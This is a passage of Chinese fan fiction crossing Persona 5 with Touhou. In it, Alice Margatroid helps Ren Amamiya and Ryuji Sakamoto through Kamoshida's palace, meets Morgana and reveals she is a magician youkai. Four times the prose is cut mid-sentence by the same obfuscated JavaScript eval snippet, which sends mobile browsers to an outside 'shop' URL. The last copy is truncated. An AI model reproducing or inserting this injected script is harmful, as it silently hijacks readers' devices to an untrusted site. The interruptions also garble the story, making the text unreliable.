“想不到你挺会的嘛……”坂本龙司露出刮目相看的神情。以为对方是禁欲系的时候其实是闷声色狼，以为对方是闷声色狼的时候结果是个超会撩妹的高手，“好兄弟，什么时候教我两招？” 听坂本龙司瞬间称兄道弟了起来，雨宫莲很无奈地说：“不是你想的那样。” 不过没等他向对方说明详细的情况，爱丽丝就停下了脚步：“到这就差不多了。” 后方的两人反应过来，他们刚刚光顾着聊天，没注意周围，结果居然不知不觉间，就在爱丽丝的带领下走到了一条人迹罕至的小巷里。 “趁现在没人，我们出发吧？”爱丽丝提议。 仅仅是人迹罕至还不够保险，因为谁也不知道谈话的途中会不会有人闯进来。但只要到了认知世界，就不会再有被偷听的风险。而且现在周围没有人，不用担心使用导航的时候把其他人给带过去。 “诶？诶？什么什么？”坂本龙司有些慌乱，对爱丽丝和异世界导航以及认知世界统统一无所知的他没法理解现状。 不过爱丽丝本来就不是在对他说，至少雨宫莲听懂了爱丽丝话语中的暗示。 “之后再告诉你。”只见他拿出手机，对坂本龙司简短的说了一句，就启动了APP。因为之前的使用履历还留在里面，这次不需要重复输入关键词的操作，他直接使用了导航功能。 兴许是这次集中了注意力的缘故，他终于感觉到了导航启动时，空间所产生的细微的扭曲感。 “到了吗？”扭曲感平息后，雨宫莲进行确认。 “到了。”爱丽丝抬头，明显和现实世界风格不同的建筑进入她的视野里。 坂本龙司跟着仰起头，看到了他今天找上雨宫莲的理由。本应是学校的地方，那个巨大的城堡再度出现了。 实在是跟不上展开的速度，他中气不足似地发问：“那、那个，有没有好心人能给我解释一下……究竟发生了什么？” 爱丽丝察觉到什么，歪头看向雨宫莲：“你还没有和他讲清楚吗？” 她本以为雨宫莲至少已经对坂本龙司解释过异世界导航的事了，只不过还没有把自己的事告诉他，现在看来，似乎连异世界导航的事都还没说？ 雨宫莲肯定：“因为时间的问题，还没来得及……” “所以说……”坂本龙司无力地抬起手。别抛下我在那边打哑谜啊，你们真的是昨天刚认识的吗？不会是在唬他吧？ 两人对视了一眼，爱丽丝做出请便的姿势，后退一步靠在墙上，进入等待模式。反正就是为了不被人听到谈话行动才这么迅速的，到了这边自然就没有着急的必要了，等三分钟和等八分钟也没有太大的区别。 雨宫莲推了推眼镜，开始向坂本龙司解释起关于金发少女和异世界导航的问题，对期间坂本龙司时不时提出的疑问，他也都一一作答。 “也就是说，中午你给我看的那个APP有把我们带到这个地方来的功能，然后这件事，是你从爱丽丝、小姐那里得知的？”最后，坂本龙司进行了一个总结。 排除掉一些不科学的现象，和一些奇妙的偶然，整件事本身其实并不复杂。 “我大致明白了，”见雨宫莲没有指正，明白自己没理解错的他挠了挠头，感叹到，“这个APP好厉害啊，到底是谁做的？” 是梦里的一个长鼻子老人。虽然雨宫莲知道答案，但他同时也知道这个答案一定会惹坂本龙司发笑，于是他保持了沉默。 “话说回来，你既然都用手机和爱丽丝小姐联系了，干嘛不在屋顶的时候把联络方式也给我？”坂本龙司有些小埋怨，他当时是完全没想起来这茬，等回到教室之后才恍然记起还有手机这么个便利的联络手段。 如果在屋顶的时候他们交换了联络方式，那下午他就能从雨宫莲那里得知这些信息了，不至于像刚刚那样完全处于状况外。 “我没有和爱丽丝联系。”雨宫莲否认道。 就凭昨天他们相遇的起因，要是能和爱丽丝联系，他肯定不会让人等在校门口。 “咦？”坂本龙司有些小惊讶，因为爱丽丝从始至终都没对他的存在表示疑问，让他产生了些许误解，“我还以为爱丽丝、小姐是因为知道我的事，所以才什么都不问……” “叫我爱丽丝就行，你和雨宫是同伴吧？”一直在一旁发呆的爱丽丝插话，大发慈悲地饶过了不习惯使用敬语的坂本龙司，“别多想，我确实不认识你。” 猜到坂本龙司的想法并不难，在对方开口抱怨的时候，她就已经预料到了这个走向，所以打消对方的疑虑也很简单。 “我问你，雨宫。”爱丽丝没有选择直接解释，反倒是对雨宫莲提出问题，“如果你身边的人不是这件事的相关者，在看到我等在校门口的时候，你会怎么做？” “‘抱歉，我接下来还有其他事，不能和你一起行动了。’”雨宫莲想都没想，直接回答，“我会这么告诉对方。” “明白了吗？”得到意料之中的答案，爱丽丝看向坂本龙司。 坂本龙司豆豆眼。 确实，既然雨宫莲明知爱丽丝的来意，也没有要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053140|149065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求坂本龙司离开，就说明他认为这件事是不必要的。为什么不必要，自然是因为他们的目的本来就是相同的。 爱丽丝从雨宫莲的行为里察觉到了这件事，所以什么都没问。反之，刚刚在路上东想西想的自己，简直就像个笨蛋。 但是这也没办法吧，谁让他是个不折不扣的学渣呢！ “还有什么问题吗？”爱丽丝站直身子，“没有的话就出发吧。” “没有了……”坂本龙司十分没有气势地回答。 爱丽丝耸耸肩，带头向城堡的方向走去，一边走一边对身后的人说：“正好趁这个机会给你们一个忠告，如果想对这件事保密的话，就最好不要在网络上提及它。” “诸如手机、电脑这类的通讯工具自不用说，现实生活里也尽量不要讨论相关的话题。” 学习一下隔墙有耳的道理吧。像游戏里那样，明明周围都是人却还要讨论怪盗话题的做法，在这个世界可是行不通的。 “为什么？”不同于默默将这忠告记在心里的雨宫莲，坂本龙司疑惑，他认为做到这种地步未免有些小题大做。 为什么？ 自然是因为这世界里不仅有能黑掉你们通讯的人，还有喜欢往人身上发窃听器和发信器的人啊。特别是前者，除了在原本剧情里就干出这种事的天才黑客佐仓双叶外，现在还要再加上一个费奥多尔。 爱丽丝合理怀疑，当时五条悟能恰好出现在高专，就是因为费奥多尔从高专的通讯里得到了她的消息，然后通知了五条悟。 至于后者，她并没有针对隔壁横滨同样是16岁的某个人，柯南那边的人也是些动不动就喜欢装窃听器的主。某些人凑在一起，就根本分不清是谁在窃听谁，谁又在窃听谁在窃听谁。 “只是心血来潮的忠告而已，”爱丽丝不想解释，心累地叹了口气，“是选择听取还是选择无视都是你们的自由。” 这世界混乱得很，有侦探、有黑/手党、有异能力者、有咒术师、有咒灵、有诅咒师，可能还有其他的东西。不管被哪一方得知了他们的秘密，对他们而言都不是好事。 虽说如此，但她其实也并没指望这句忠告能有什么效果，特别是对于在原作里有过前科的坂本龙司而言，不吃上一次亏，多半是记不住的。 坂本龙司委屈地闭上了嘴巴。他总感觉爱丽丝对自己的态度有些冷淡，在校门口的时候就没有回应自己的招呼，刚刚回答问题之后也没给他自我介绍的机会，现在他更不好开口了。 是爱丽丝不擅长人际交往？还是说他其实被讨厌了？ 如果爱丽丝得知这个问题，她多半会这么回答：你没有被讨厌，一切都是宫野真守的错。 坂本龙司虽然比较冒失、容易犯错，但整体上来讲是一个温柔善良、为他人着想的好孩子，爱丽丝并没有讨厌他的理由。但是！在经历过某人用武力威胁、把自己当作诱饵、还擅自在她的人偶上动手脚的一系列事件后，她现在听到坂本龙司开口就头疼。 虽然知道他们的声线并不一样，也明白他们是毫不相同的两个人，但她就是会忍不住产生联想，有什么办法嘛！ 16. 第 16 章 雨宫莲不说话，爱丽丝在和系统说话，坂本龙司不知道该说什么话，于是在有些安静的氛围里，三人顺利抵达了城堡的大门口。 在进入城堡范围的瞬间，雨宫莲的衣服突然就变了个样，原本规规矩矩的学生校服变成了艳丽风格的怪盗服。 坂本龙司被这变化吓了一跳，但他很快反应过来昨天也见过相同的套路，于是在一旁托着下巴啧啧称奇：“你这衣服怎么回事？仔细一看不觉得挺像魔术师吗？” 雨宫莲摇摇头表示他也不知道。 城堡外侧没有士兵，这点和昨天一样，但不知道是不是因为他们昨天在城堡内闹了一通、还反手把鸭志田卓锁进牢里的缘故，大门被关上了。 也可以说警戒度提高了吧，总之他们没办法像昨天那样从大门进去了，只能另寻他路。好在没用多久，他们就在不远处发现了一条连接着城堡内部的通风道。 是游戏玩家熟悉的套路、熟悉的配方，一旦在殿堂里找不到路，下一步就该找通风道了。 看了一眼虽然能让人进入但依旧略显狭窄的通风道，爱丽丝果断对另外两人说：“就在这里分开吧。” “不一起吗？”正打算率先进入其中的雨宫莲回头看了她一眼。 “你们有自己的事，我也有我的目的，现在分头行动更有效率。”爱丽丝回答，“我做完事再去找你们。” 当然这些都是借口，真正的原因是她单纯不想在满是灰尘的通风道里爬来爬去。要是只有这一条路能进入城堡，她倒可以忍一忍，但现在完全没有那个必要。 “我知道了。”得到答案的雨宫莲没有纠结，继续刚才的动作。既然他已经选择了相信爱丽丝说过的话，自然不会再在这种问题上浪费时间。 坂本龙司倒是有些担心，但鉴于雨宫莲已经先出发了，他又是有求于人的那一方，最终也只是僵硬地留下一句“待会见”，就钻进了通风道。 目送两个人进入城堡后，爱丽丝的视线移向上方，城堡的顶端的尖塔。 既然下面没有路，那就从上面走。 飞行确实是个作弊的能力，因为不管城堡里的戒备有多么森严，内部有多少士兵在巡逻，只要天上没有敌人，她就能轻而易举地侵入城堡。 爱丽丝轻飘飘地落在窗台上，一眼就看到房间里那团形状模糊的光球。 甚至能轻而易举进入这座城堡的核心，鸭志田卓收纳秘宝的房间。得亏秘宝平时是没有实体的，不然今天她就要通关这个殿堂了。 略有些可惜的看了一眼那光球，爱丽丝从窗台跳下，开始找起通往地下训练场的路。殿堂内部就像是迷宫，就算她还记得目标地点是哪里，也不能清晰回忆起具体的路径。 不过先前也说过，城堡内部守备是很森严的，不仅有烦人的机关，还有来来回回不停走动的士兵。所以在解决机关的时候，迎面撞上士兵也是很正常的事。 “你这家伙，是抽哪个哪里进来的？！”士兵一边发出质问，一边化作黑泥，随后从黑泥中凝聚出自己真正的姿态——一个骑着马的骑士。 看着眼前的景象，爱丽丝脸上浮现出思考的神情。她很熟悉游戏里的战斗系统，但不清楚实际上打起来的效果如何，面前的阴影对于她而言正好是送上门的小白鼠。 “正所谓‘实践出真知’。”爱丽丝眉眼弯弯，直接召唤出人偶进入战斗模式。 而在爱丽丝沉迷于战斗和研究的时候，雨宫莲正带着坂本龙司艰难地在殿堂里寻找线索。他们一个还没掌握人格面具，一个还没觉醒人格面具，战力可以说是压倒性地不足，安全起见，他们采取了尽量避免战斗的行动方针。 但一路上躲躲藏藏，其实也耗费了不少精力和时间。 在看上去像是书房的房间里，和雨宫莲一起解决掉守在屋子里的士兵后，坂本龙司喘了口气，不由得想起单独行动的爱丽丝。 他瘫坐在椅子上，看着为避免被路过的士兵发现关上门才开始搜查的雨宫莲，纠结了一会，最后还是问出了声：“那家伙一个人真的没问题吗？” 他们这边有两个人，他自认自己体力还算不错，雨宫莲又能使用奇妙的力量，结果一路过来还是有些疲惫。相比之下，爱丽丝那边只有她一个人，而且，虽然有点以貌取人的嫌疑，但那个身板实在不像是能打倒敌人的样子。 此时雨宫莲正在调查屋内的东西，试图翻出什么有用的道具，听到坂本龙司的问题也没有停下手上的动作：“没问题，她很强。” “你为什么这么想？”坂本龙司的视线随着雨宫莲的动作移动。 之前听到的那些事情里好像并没有爱丽丝动手的情节，难道是他略过了没有讲？还是说只是单纯有这种感觉？ “她是这么说的。” 因为背对着坂本龙司，所以雨宫莲并没有看到，他做出回答之后，对方脸上瞬间浮现出的“你认真的吗”的神情。 虽然相信他人是很好的品德，但也不至于别人说什么就信什么吧？万一人家只是在逞强呢？这不是让他更不放心了吗？ “我也很强，你看，这肌肉。”坂本龙司举起胳膊，秀起肌肉。 要知道在田径部被废部之前他可是运动健儿，每天都在坚持锻炼，虽然那件事发生后，他颇有些自暴自弃，疏于锻炼，但练就的肌肉还没那么容易就消失。 雨宫莲原本在翻看书里的内容，闻言，回头无奈地看了他一眼：“我还没把昨天的事忘掉。” 言下之意，就是比起爱丽丝那边，他更担心坂本龙司。 坂本龙司只好悻悻地把手放下。如果是在昨天，他还能勉强辩解一下自己不过是一时不备才被打趴，但现在他可没办法这么逞强。不得不承认，目前的自己，是没办法一个人挑战这座城堡的。 既然如此…… “你从刚才开始在找什么？我也来帮忙。”坂本龙司起身。 既然如此，那就加快他们行动的速度，越快解决他们这边的问题，就能越早去找爱丽丝。 这想法很容易就被雨宫莲看穿了。 其实雨宫莲真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053141|149065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不认为有必要担心爱丽丝的安危。从目前的相处来看，会给出提醒和忠告的爱丽丝明显属于谨慎派。这样的她在明知这个世界很危险的情况下依旧选择了单独行动，就足够说明她对自己实力的自信。 而在此基础上，还有出自天鹅绒房间的“非人类”种族认证…… 不过坂本龙司的行为是基于对别人的关心，他也不想浪费人家的一片好意，于是开口说到：“你身后的书架我还没有看，你去找找有没有什么你在意的内容。” 最好是能找到地图之类的东西。毕竟是书房，很有可能放着类似的玩意。要是能入手地图，他们就可以不用像之前一样摸黑乱转，也能减少一些突发情况。 “喔！”坂本龙司充满干劲地应了一声，随后加入翻找的行列。 两个人找确实要比一个人找速度更快，没用多久，他们还真的找到了一张城堡的构造图。虽然和地图多少有些区别，但也不是特别难理解。 他们对着摊开的地图研究起来。 “这里，不觉得很可疑吗？”坂本龙司指着一个地方，询问雨宫莲的意见。 从图上看来，那地方位于城堡的地下，而昨天用来锁住他们的牢房也同样位于地下。虽然在反手把鸭志田卓锁到牢房中后他们逃得很匆忙，没精力去留意周遭的环境，但他依稀记得当时从后来传来了奇怪的声音。 似乎是撞击声和惨叫声。 雨宫莲赞成了坂本龙司的看法，既然目标是寻找鸭志田卓的把柄，那自然应该往比较见不得人的地方去。不知为何，自古以来，人们都喜欢把一些东西藏在地下或者头顶。 * 爱丽丝弯下腰，捡起阴影消失后掉下的东西，随后让系统将之回收。虽然不值钱，但指不定什么时候能用上，就算用不上，也可以找个时候交给雨宫莲。 假设楼下的两人玩的是潜行游戏，那么爱丽丝玩的大概是无双游戏。 她一路向下，把遇上的阴影士兵统统都解决掉了。从手感上来讲，打倒阴影和祓除诅咒没有太大的区别。 她研究过了。一旦进入战斗态势，阴影士兵们就会脱下盔甲变回原本的姿态，但如果火力足够，也能做到一击必杀，在它们变身之前就直接将其消灭，类似于游戏里的“瞬杀”效果。 还有就是，士兵身上的盔甲，虽然看上去很结实，但实际有点纸老虎的嫌疑，她人偶手里的武器也能轻松将其破坏。 【你这是在小瞧系统提供的质量，】察觉到她想法的系统发出抗议，【合格的武器当然是要削铁如泥！】 搞得爱丽丝连忙安抚了一下系统。 想不到系统在这方面还挺讲究，就连最终多半都会变成炸弹的人偶，都能毫不吝啬地配上高级装备，可以说是十分财大气粗了。 当然，她属于占便宜的一方，对于这样的行径，只会拍手叫好，恨不得多来一点。 她一边在脑内和系统插科打诨，一边加快了步伐，玩无双也玩够了，研究也研究得差不多了，是时候该去和那两个人汇和了。 17. 第 17 章 爱丽丝找到雨宫莲和坂本龙司的时候，他们刚把摩尔加纳从牢房里解救出来，而前者正弯着腰对猫上下其手。摩尔加纳虽然嘴上很不情愿，但终究没能违抗猫的本性，在雨宫莲的抚摸中发出一声舒服的猫叫。 爱丽丝用可以称得上慈爱的目光注视着这一幕。这几人似乎很乐在其中，都没人察觉到她已经站在后面了。如果她是什么反派役，这时甚至能一举拿下三杀。 坂本龙司的双手有些蠢蠢欲动：“也、也让我摸一下，我也想摸妖怪猫！” 要是直接上手说不定还没事，结果这话一出口，摩尔加纳瞬间就不乐意了。自认是人类的他最讨厌听到别人说自己是猫，一下子从雨宫莲的魔爪里挣脱出来，浑身炸毛，冲坂本龙司吼到：“都说了吾辈不是猫！” 也正是这个举动，让他终于注意到了站在坂本龙司身后的爱丽丝。 “你是谁？！” 对摩尔加纳眼中的警惕视若无睹，爱丽丝朝他露出友善的笑容。 但在摩尔加纳眼里，这笑容就是对方游刃有余的证明，他绷直了身体，以便能第一时间对爱丽丝的动作做出反应。 “爱丽丝。”雨宫莲直起身后向爱丽丝打了声招呼。并不怎么担心的他在见到一身轻松的爱丽丝后，确认了自己与对方实力的差距。 “呜哇！”坂本龙司则是被吓了一跳，他朝墙边蹿了一步，开始吐槽，“你什么时候到的？倒是发点声响啊，又不是幽灵！” 明明完全没听到脚步声，背后却突然了多个人，在当事人看来确实挺吓人的。但作为吓到人的那一方，爱丽丝完全没在反省，甚至觉得自己很无辜。 “在‘好软’的时候。”她先是回答了坂本龙司的前一个问题，随后为自己辩解，“我看你们玩得挺开心的，就没有出声。” 爱丽丝看向从刚才开始就在观察自己的摩尔加纳：“比起那种事，你……” 她向猫的方向走了两步，看着猫因为自己的靠近而变得越发戒备，最终在自己蹲下身子试图用手触碰时，像是忍受不下去一样向后跳开。 拉开距离的摩尔加纳本着好心，出声警告另外两个看上去没理解状况的人：“喂金毛和卷毛，虽然不知道你们和她有什么关系，离远点比较好哦！” “为什么？”最先反应过来的是早有准备的爱丽丝，她收回手，不解似地歪头。 “当然是因为你不是人类啊！”摩尔加纳用一副“不要明知故问”的口气回答。 这回答并没有超出爱丽丝的预想，所以她并不觉得惊讶，只是有些好奇。五条悟是凭着那双眼睛确认她不是人类的，那摩尔加纳又是依据什么才能一眼确认自己的身份？是因为摩尔加纳本身就比较特殊？ 不过她现在更好奇被提醒的对象的反应，于是她撑起下巴，抬头看向两人。 坂本龙司带着一脸难以言表的神情，视线在爱丽丝和摩尔加纳身上转来转去。 从外表上看，没人会认为爱丽丝不是人类，也没人会认为摩尔加纳不是猫。在这种前提下，后者口口声声说自己不是猫，还反手指证前者不是人类，怎么想都没有可信度，坂本龙司甚至已经开始怀疑摩尔加纳的脑子是不是有些小毛病了。 这倒不是什么想法肤浅，一般人面对这种称得上闹剧的场景，大概都会是这种反应。 坂本龙司已经是接受能力比较高的了。在昨天之前，他还只是个对这些不科学的东西没丁点了解的普通人，就算是现在，他也不过是接触了些皮毛而已。要是他一下子就相信了摩尔加纳的话，那才比较异常。 “吾辈可是好心提醒你了，不领情的家伙！”这副表现自然逃不过摩尔加纳的眼睛，他恨铁不成钢地抱怨了一句，转头将希望寄托在另一个看上去比较靠谱的人身上，“卷毛，你的话肯定能明白吧？！” 被点名的卷毛没有辜负他的期待，淡定地点头，淡定地开口：“我知道。” 雨宫莲觉得摩尔加纳有些大惊小怪。 在他看来，摩尔加纳自己就不是人类，天鹅绒房间里的那三个多半也不是人类，再多一个不是人类的爱丽丝也完全没有问题。而且，两天的时间里他就接触到了这么多非人类，不就证明这世界人类之外的存在还挺多的吗？估计之后再遇上，他也不会有什么特殊的反应。 只是雨宫莲能淡定，不代表其他人也能淡定。 “你知道？！” “你知道？” “你知道？？？” 同一句话，同一个问题，被三个声音用不同的语调问了出来。 “你知道这家伙不是人类，那你知道她是什么吗？”摩尔加纳快速回神，追问到。 他能从气息上判断出爱丽丝不属于人类，但对方的气息与阴影有区别，和诅咒也不大一样。失忆之后他在两边世界游荡的时间并不算短，遇到过棘手的阴影，也碰见过烦人的诅咒，这种气息却是他第一次遇到。 爱丽丝则是稍微有些诧异，不过她很快就反应过来，多半是天鹅绒房间里的家伙对雨宫莲说了些什么。 “什么跟什么？”坂本龙司察觉到不对。雨宫莲的回答、爱丽丝对此的态度、摩尔加纳的追问，让他心中隐约浮现出一个猜想，“……不会吧？” 他的视线下移，观察起从刚才开始姿势就没变过的爱丽丝，但不管怎么看，他都看不出爱丽丝和人类有什么不同。 雨宫莲显然没想到自己会被摩尔加纳问这种问题，他托着下巴思考了一会，最终不确定地回答：“……妖怪？” 这个答案是他从昨天谈话里提到的“神明”联想过去的，在那些传说故事里，“神明”与“妖怪”密不可分，提到一方，自然会想到另一方。不过这个世界显然还有其他的非人类，所以他对这个答案不是很有自信，等着摩尔加纳的评判。 但他没想到其实摩尔加纳也不知道答案，甚至在听到他的回答之后，颇有些激动地反驳：“别说傻话！这世界上根本没有妖怪！” 摩尔加纳下意识就想排除这个答案。 他知道自己的记忆出了问题，连带着本该如数家珍的知识都残缺了不少。也许这世界上确实是没有妖怪，也许是他关于妖怪的那部分记忆也一起丢失了，但无论如何他都不想接受这个答案。 一旦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053142|149065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他承认妖怪的存在，让自己能独自在两个世界坚持这么久的目标很有可能就…… 还没等他惶恐于那样的未来，雨宫莲就打断了他的思路。 “从你的嘴里说出来……”说服力简直不能更低。 摩尔加纳听懂了雨宫莲未尽的话语，一下子就将刚刚想的那些乱七八糟的东西抛在了脑后，再度炸毛：“吾辈是人类！只不过是因为一些理由才变成了现在的模样！总有一天会变回去的！” “猫咪王子？” “你才被邪恶的巫婆给诅咒了呢！” 一人一猫甚至讲起了相声。 这场景让爱丽丝有些无奈，她心想能在这种场合下拌嘴，这两个人还真是合得来。 最后打断两人对话的是坂本龙司，他满脸写着无语：“本人就在你们面前，为什么不直接问本人？” 接受“爱丽丝不是人类”这件事比他想得要容易，大概是因为进过了城堡、打过了怪物、还遇上了摩尔加纳，他已经猜到这世界并没有他十几年来看到的那么单纯，现在不过是又打开了一扇新世界的大门。 被坂本龙司一说，雨宫莲和摩尔加纳停下话头，三人同时将视线放在了爱丽丝的身上。 真是的，终于想起我了吗？爱丽丝在心里腹诽的同时不慌不忙地站起身。 “那就趁这个机会做个自我介绍吧。我是爱丽丝·玛格特罗伊德，种族是魔法使，擅长的魔法是人偶，”能正大光明这么介绍自己的机会可不多，她露出笑容，“如雨宫所说，是如假包换的妖怪哦。” 这种不用担心被当做中二病的感觉真是太好了。 与爱丽丝相反，摩尔加纳则完全是一副受了打击的样子，就连耳朵都无精打采地下垂了：“居然真的是妖怪……但是……不……” 他的内心陷入天人交战，一方面不想相信妖怪的存在，一方面又觉得对面没有撒谎。 “都是同类，没什么好惊讶的吧。”看着思想挣扎的摩尔加纳，爱丽丝有点坏心眼地想对他说出这种话，但最终还是没有付诸行动。 算了，毕竟我也不是什么魔鬼。她如此想到。 坂本龙司一脸兴奋。这两天的经历一下子就推翻了他过去的人生，如今连只存在于幻想中的妖怪和魔法都出现了，简直就像是电影里的主人公，以某件事为开端，生活逐渐变得丰富多彩。 唯有雨宫莲还保持着冷静，对爱丽丝的话有些许在意：“种族是魔法使？不是职业吗？” “对我来说两者都是，妖怪的种族可是很繁杂的，对你们而言，魔女这个称呼是不是要容易理解一点？”涉及到设定问题，爱丽丝自然是有问必答。 “妖怪有很多吗？！都有些什么样的？”坂本龙司的眼里闪烁着求知的光芒。 “对比人类来讲，我觉得挺少的……”爱丽丝实话实说，在她准备趁机讲点关于幻想乡的事的时候，一阵脚步声阻止了她。 在同一个地方待得太久的结果，就是被殿堂的主人发现。 一堆士兵朝着几人的方向赶来，鸭志田卓下令，要给这些胆敢闯入自己城堡的小毛贼一些教训。 18. 第 18 章 最先动起来的是雨宫莲，他很清楚一旦被那些士兵包围就可能陷入苦战，打算召唤出自己的人格面具，先发制人制造突破口，却失败了。觉醒这力量才一天，他还没办法做到长时间使用人格面具战斗。 如果用游戏术语来解释，就是他等级不够，sp用光了。 不过爱丽丝对此早有准备，她随手就朝赶来的士兵堆里丢了个人偶。 那是在触碰到敌人之后就会产生强力爆炸的人偶，威力很大的同时声势也不小，按理说不适合在殿堂里使用。不过反正他们都已经被发现了，不用再东躲西藏，就算整出再大的声响也没有问题。 而且这种敌人凑成了堆的时候，使用这种人偶是性价比最高的。像现在，那个被丢过去的人偶爆炸后，对面的阴影直接全灭了。 爱丽丝对这个效果很满意，不愧是能被算作符卡的特制爆炸人偶。 “哇哦……”坂本龙司感受着因爆炸而产生的风，一脸呆滞地发出感叹。只是不知道他感叹的对象，究竟是外表可爱却威力十足的人偶，还是笑着丢出那种人偶的爱丽丝。 就连雨宫莲和摩尔加纳也都不能维持淡定，前者的视线止不住朝爱丽丝身上飘，试图找出她存放人偶的地方；后者则一脸不可置信的神情，嘴里喃喃道：“真的假的……” 一群搞不好会让他们陷入苦战的阴影，直接被一个人偶一发带走，让他不由得有些怀疑人生。 不过他们没有太多的时间花在这种事上，新的脚步声很快就响起来了。 “这样下去没完没了，暂时先撤退吧！”摩尔加纳回过神。 熟知认知世界的他自然知道，阴影这种东西，就算被打倒，也很快会有新的出现。被殿堂主人锁定的现在，对方很有可能会不停派出兵力，继续战斗下去只会是他们消耗得更快。 这提议很合理，没有人反对，就算是爱丽丝，也不会平白做出浪费人偶和魔力的举动。于是在下一波士兵抵达之前，他们开始了逃亡之旅。 说是逃亡，其实也不过是简单的你追我赶罢了，在跑路的途中，爱丽丝还很有闲心地问话：“你们的事处理完了吗？” “关于那个，说实话我现在还完全是一头雾水！明明是因为这只妖怪猫说会告诉我们这个地方的事情，才把它从牢房里放出来的，结果……”后面的展开太快了，根本没机会进行说明。 虽然当时他还处在见到妖怪猫的震惊之中，实际做出判断和行动的是雨宫莲。 “要吾辈说多少次吾辈不是猫啊！”跑在最前面带路的摩尔加纳不满地叫到，“吾辈叫摩尔加纳！” 事到如今，他终于有机会说出自己的名字。 雨宫莲从善如流，趁机提问：“摩尔加纳，现在能告诉我们关于‘殿堂’的事吗？” “在这种状态下？！”黑猫露出“你没在逗我吗”的表情，要知道殿堂主人正在追杀他们，随时都有可能遇上新的敌人。这种时候，不应该先找个安全的地方再考虑这些事吗，就不怕一心两用然后被阴影偷袭吗？ 想什么来什么，刚转了个弯，就发现了前方巡逻的士兵的身影。 然而在几个人做出反应之前，一道激光直接命中士兵，将其化作黑烟。 “可怕……”在脑子之前嘴先动了，坂本龙司下意识就带着颤音发表自己的感想。 爱丽丝姑且把这句话当作对自己的称赞，语气轻松：“谢谢夸奖。嘛，敌人可以交给我，你们做你们想做的事就行。” 她也挺希望摩尔加纳早点对两人进行科普，让他们从小白毕业。 摩尔加纳默然，他甚至没来得及停下脚步，敌人就已经被解决了，虽然不知道爱丽丝到底是为什么而来，但如果能把拥有这种战力的角色变成自己的同伙的话…… “摩尔加纳？”雨宫莲用略带疑惑的语调呼喊了一声明显在走神的黑猫。 “我知道了啦！这就按照约定告诉你们！”思路又被打断，摩尔加纳有些不爽，但还是任命地对两个人解释起了所谓的认知世界。 这个被他称作“殿堂”的地方，与人类平时生活的现实世界有所区别，是人类触碰不到的另一个现实，被欲望缠身之人的内心世界。在这里，扭曲的欲望和认知都会变成实体。 也就是说，他们目前所处的城堡正反映着鸭志田卓的内心：对那个人而言，学校就是自己的城堡，学生皆为自己的奴隶，他本人则是城堡里地位最为高贵的国王。他们之前在训练场看到的那些可怜学生，全部都是现实中的投影。 这就说明，坂本龙司听到的“鸭志田在体罚学生”的那个传闻，并不是空穴来风。他的猜想被得到证实，可惜这不是什么值得开心的事。 “那个混蛋，真是个彻头彻尾的人渣！”一想到还有不少人都和自己一样被人渣教师折磨，坂本龙司的语气里就充满了愤怒，如果不是时机不对，他肯定要恶狠狠地咒骂那个教师失格的家伙几句。 摩尔加纳的讲解还在继续。 他们在殿堂里遇上的这些会变化出不同形态的士兵，其实是人的负面所汇聚而成的阴影，出于某种原因成为了殿堂主人的手下。表面上看那些士兵是被打倒了，但实际上只要经过一段时间，士兵们又会再次出现。 想要完全消灭阴影，除非人类先灭绝。 “那我们打倒这些家伙岂不是完全没有意义？” “别这么说，有时候阴影会随身带些好东西，而且打倒他们能让行动变得轻松一点。” “哈……” 一直听着对话的爱丽丝不由得想起游戏里，打败阴影就能得到金钱的系统，以及二周目的时候自己用混乱技能刷钱的场景。可惜那终归是游戏，现在她不管打败多少阴影，都没办法让自己的钱包鼓起来。 “话说，我们这是在往哪里跑？”见摩尔加纳似乎没有再继续讲下去的想法，坂本龙司问到。 “当然是出口！这次的行动已经败露了，再待下去也不会有收获。”除非他们跑出城堡，不然就会一直被士兵们搜索。这种状态下，根本无法进行探索。 所以这条路是去往城堡大厅的路？坂本龙司试图回忆起之前看到的城堡构造图，但根本想不起具体的模样，不由得有些佩服能把路线铭记于心的猫。 不过有一件事必须得告诉对方。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 